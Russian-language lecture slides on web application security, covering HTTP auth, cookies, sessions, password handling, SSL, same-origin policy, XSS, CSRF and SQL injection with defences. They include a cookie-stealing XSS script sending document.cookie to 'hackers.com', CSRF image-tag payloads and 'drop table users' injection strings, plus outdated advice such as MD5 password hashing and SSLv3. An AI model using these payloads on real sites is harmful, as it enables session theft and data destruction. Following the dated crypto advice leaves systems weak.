Transcript
Security! Security!
Смаль Дмитрийsmal@corp.mail.ru
ТерминологияАутентификация – процедура проверки
подлинности.
Варианты: логин/пароль, одноразовые пароли, токены, открытые ключи, биометрия и т.д.
Авторизация – предоставление субъекту прав на выполнение определенных действий.
Варианты: HTTP запрос по определенному URL, изменение объекта, чтение/запись/запуск файла.
Кодирование – преобразование данных с целью передачи по определенному каналу связи.
Шифрование – преобразование данных с целью сокрытия информации от третьего лица.
HTTP Авторизация1) Сервер
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic realm=”admin”
2) Браузер
показывает диалог ввода логина/пароля
3) Браузер
Authorization: Basic dXNlcjpwYXNzCg==
4) Сервер
Проверяет логин/пароль
HTTP/1.1 200 OK
HTTP/1.1 403 Access Denied
HTTP Авториазация
В CGI скрипте – переменная REMOTE_USER
Нет операции “логаута”
Достоинства и недостатки
Настройка HTTP авторизацииLocation / { # nginx
auth_basic "closed site";
auth_basic_user_file conf/myhtpasswd;
}
<Location /secure> # Apache
AuthType basic
AuthName "private area"
AuthBasicProvider dbm
AuthDBMType SDBM
AuthDBMUserFile /www/etc/dbmpasswd
Require valid-user
</Location>
location / {
satisfy any;
allow 192.168.1.0/24;
allow 2001:0db8::/32;
deny all;
auth_basic "closed site";
auth_basic_user_file conf/myhtpasswd;
}
htpasswd – файл с паролями (зашифрованый)
htpasswd -m ./myhtpasswd user pass – добавить
Htpasswd -D ./myhtpasswd user – удалить
Cookies1) Установка:
Set-Cookie: name=value; Path=/page; Domain=mail.ru; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly
Secure – только по HTTPS (доступны через JS)
HttpOnly – только по HTTP (не доступны через JS)
2) Получение:
Cookie: name1=value1; name2=value2
3) В JavaScript
document.cookie = 'name=value; . . .';
var cookie = document.cookie;
Профили и сессииПрофиль – информация о пользователе
- id
- login
- пароль
- email, имя пользователя, пол и т.п.
Сессия – информация о подключении
- ключ сессии (то что в Cookie)
- данные сессии (id пользователя, корзина..)
- ip-адрес, дата создания сессии
Сессии устаревают и удаляются, профили – нет.
Сессия – в быстром хранилище, Memcached
Как хранить и передавать
пароли?
1) Не храните пароль в чистом виде. MD5.
2) Не храните MD5 в чистом виде. Соль.
3) Не используйте слово “Соль” в кач-ве соли.
4) Не передавайте пароли в GET запросах.
5) Не выводите пароли в логах сервера.
6) Не выводите пароли на WWW страницу.
И вообще... очищайте память
Сценарий регистрации1) /register_form → показываем форму регистрации (возможно генерируем CAPTCHA)
2) Пользователь заполняет форму, делает POST
3) /register → регистрация пользователя
- проверить входные данные
- проверить правильность captcha
- вычислить md5(пароль + соль)
- добавить запись в таблицу Users
- создать сессию (user_id = new_user.id)
- установить куку (session=new_session.key)
Сценарий аутентификации1) /login_form → показываем форму логина
2) Пользователь заполняет форму, делает POST
3) /login → аутентификация пользователя
- загрузить пользователя из Users по login
- вычислить md5(пароль + соль)
- сравнить с тем, что хранится в БД
- нет пользователя или md5 не совпал → отказ
- создать сессию (user_id = user.id)
- установить куку (session=new_session.key)
- удалить старые сессии
Теперь у пользователя есть ключ, а у нас сессия
Сценарий авторизации1) /any → пользователь делает любой запрос,
браузер передает Cookie: session=asHnjs732j...
2) Нет куки → /login_form (302 redirect)
3) Загружаем из Sessions данные сессии по session
4) Нет сессии или устарела → /login_form
5) Обновляем дату использования сессии
6) Загружаем из Users информаци о пользователе по session.user_id
Теперь у нас есть объекты session и user!
Сценарий восстановления
пароля1) /restore_form → пользователь указывает email или login с которым он регистрировался
2) /send_restore → высылаем письмо
- создаем Ticket (key, user_id, дата)
- высылаем письмо с ticket.key на указанный email
3) Пользователь открывает письмо и переходит по ссылке
4) /restore/?key=shdf32ndfsdjf2434n → пользователь вводит новый пароль
Тут мы уверены, что пользователь обладает email'ом, т.к. key угадать трудно
Авторизация и кэшSet-Cookie и кеширование (proxy) не совместимы.
/page/ – страница в кеше, в ней есть SSI:
<!--# include virtual=”/auth/” -->
/auth/ - легкая страница не кешируется:
<!--# set var=”Email” value=”me@mail.ru” -->
<!--# set var=”Name” value=”Pupkin” -->
<script>
document.cookie='session=dsfskjdfwen32323rds';
</script>
Немного о криптографии
Симметричное шифрование1) Алиса и Боб обладают общим секретным ключом (K)
2) Алиса шифрует текст(Т) с помощью К, получает шифрограмму(Ш)
3) Алиса передает шифрограмму(Ш) по незащищенному каналу связи (TCP например)
4) Боб получает шифрограмму(Ш)
5) Боб расшифровывает ее с помощью ключа(К) и получает исходный текст
Плюсы: Быстро!
Минусы: Нужен общий ключ.
Примеры: AES, DES, Blowfish, ГОСТ 28147-89
Ассиметричное шифрованиеИспользуется пара связанных ключей:
Открытый(public) – для шифрования
Закрытый(private) – для дешифрования
1) Алиса, используя открытый ключ Боба, создает шифрограмму и передает ее.
2) Боб, используя закрытый ключ, дешифрует ее и получает исходный текст.
Плюсы: открытый ключ
Минусы: скорость
Примеры: RSA, DSA, Elgamal
Fingerprint и сертификатfingerprint – хэш функция от публичного ключа
68:a6:77:eb:18:8f:b1:34:fe:81:f6:33:c3:02:31:93
Цифровой сертификат – цифровой документ, подтверждающий принадлежность владельцу публичного ключа (на некоторое время)
Каждый сертификат связан с центром сертификации, который его изготовил и подписал.
Сертификационные центры образуют иерархию. Корневые центры известны априори.
SSL – Secure Socket LayerSSL работает поверх TCP и обеспечивает установление безопасного соединения между клиентом и сервером
Свойства:
- аутентификация сервера
- опциональная аутентификация клиента
- шифрование канала передачи
- целосность сообщений (защита от изменений)
- поддерживает различные алгоритмы шифрования и обмена ключами
HTTPS – это HTTP поверх SSL (порт 443)
Настройка HTTPSserver {
listen 443;
keepalive_timeout 70;
ssl on;
ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers AES128-SHA:AES256-SHA;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/cert.key;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
...
}
Same Origin PolicyЦель: исключить нежелательное взаимодействие между сторонними сайтами.
Сторонние сайты – сайты на разных DNS доменах.
Общий принцип:
- данные установленные в одном домене будут видны только в нем
- браузер запрещает вызывать JS методы объектов из другого домена
- браузер запрещает кросдоменные запросы
SOP и Cookie - У каждой cookie есть домен
- По умолчанию – это домен сайта, установившего куку
- Можно указать домен на 1 уровень короче текущего, например Domain=.mail.ru
- При всех запросах к домену site.group.com браузер отправляет куки только для домена site.group.com и .group.com
- JavaScript, выполняющийся на странице site.group.com имеет доступ к тем же кукам (за исключением HttpOnly)
SOP и DOM - Странички (окна) могут ссылаться друг на друга (window.open, window.opener, etc..)
- Если у 2 страниц совпадают протокол, хост и порт (кроме IE) – эти страницы могут взаимодействовать через JS
window.opener.body.innerHTML = 'Hello!'
- Если 2 страницы в смежных доменах (a.group.com и b.group.com) понизили домен до group.com – они могут взаимодействовать
window.domain = 'group.com'; //обе страницы
Window.opener.someFunction('data');
SOP и AJAX
Все просто: у вас не получится сделать AJAX запрос на другой домен.
Альтернатива: JSONP
Запрос:
<scrtipt src=”http://alien.com/getdata?id=1&callback=gotData”></script>
Ответ:
gotData({ 'object' : { . . . } });
SOP и Flash- В отличие от JS, Flash ориентируется не домен сайта, а на домен с которого был загружен flash-объект
- Для того что бы полчить доступ к данным домена документа Flash загружает специальный файл – crossdomain.xml
<cross-domain-policy>
<allow-access-from domain="*.mail.ru" to-ports="*"/>
<allow-http-request-headers-from domain="*.mail.ru" headers="*"/>
<site-control permitted-cross-domain-policies="all"/>
</cross-domain-policy>
XSS – Сross Site ScriptingБезобидная шалость:
<script>
alert(1);
</script>
Кража сессии (и как следсвтие авторизации):
<script>
var s = document.createElement('script');
s.src = 'http://hackers.com/gotIt/?cookie'
+ encodeURIComponent(document.cookie);
document.body.appendChild(s);
</script>
XSS – Сross Site Scripting
Как внедрить:
- тэг <script>
- возможно, нужно разорвать верстку '”/>
- использовать протокол javascript:
Как бороться:
- экранированить выводимые данные, {{ var }}
- экранировать входные данные
- очищать входные данные (тэги и атрибуты)
- Использовать BBCodes [b] [i] [a] [img=...]
CSRF – Cross Site Resource
ForgeryПричина: браузер разрешает кросс-доменные GET
Размещаем на любом посещаемом сайте (blog.com):
<img src=”http://victim.com/post?message=wanna+kill+all+humans” />
<img src=”http://victim.com/logout” />
В результате все посетители blog.com, которые авторизованы на victim.com совершат действия, о которых даже не будут знать.
victim.com и blog.com могут быть одним сайтом!
CSRF – Cross Site Resource
ForgeryКак бороться:
- проверять метод запроса (только POST)
- проверять Referer (не надежно)
- использовать csrf_token
1) создаем длинный, новый для каждого пользователя/запроса ключ (токен)
2) устанавливаем этот ключ в Cookie
3) добавляем этот ключ к каждой форме на сайте victim.com
4) запросы с blog.com не будут содержать
этот скрытый токен
SQL инъекции
SQL инъекции
SQL инъекцииПример:
id = request.REQUEST['id']
sql = 'select * from P where id = ' + id
Передаем id = 3; drop table users; и …
n = request.REQUEST['name']
sql = “select * from U where name = '%s'” % n
Передаем n = bla'; drop table users; и …
SQL инъекцииКак бороться:
- использовать placeholders
sql = 'select * from U where id = ?'
- использовать квотирование
id = quote_sql(id)
sql = 'select * from U where id = ' + id
- использовать ORM
SQL сервера имеют свою защиту:
- запрещают несколько запросов в одном пакете
Fishing
top related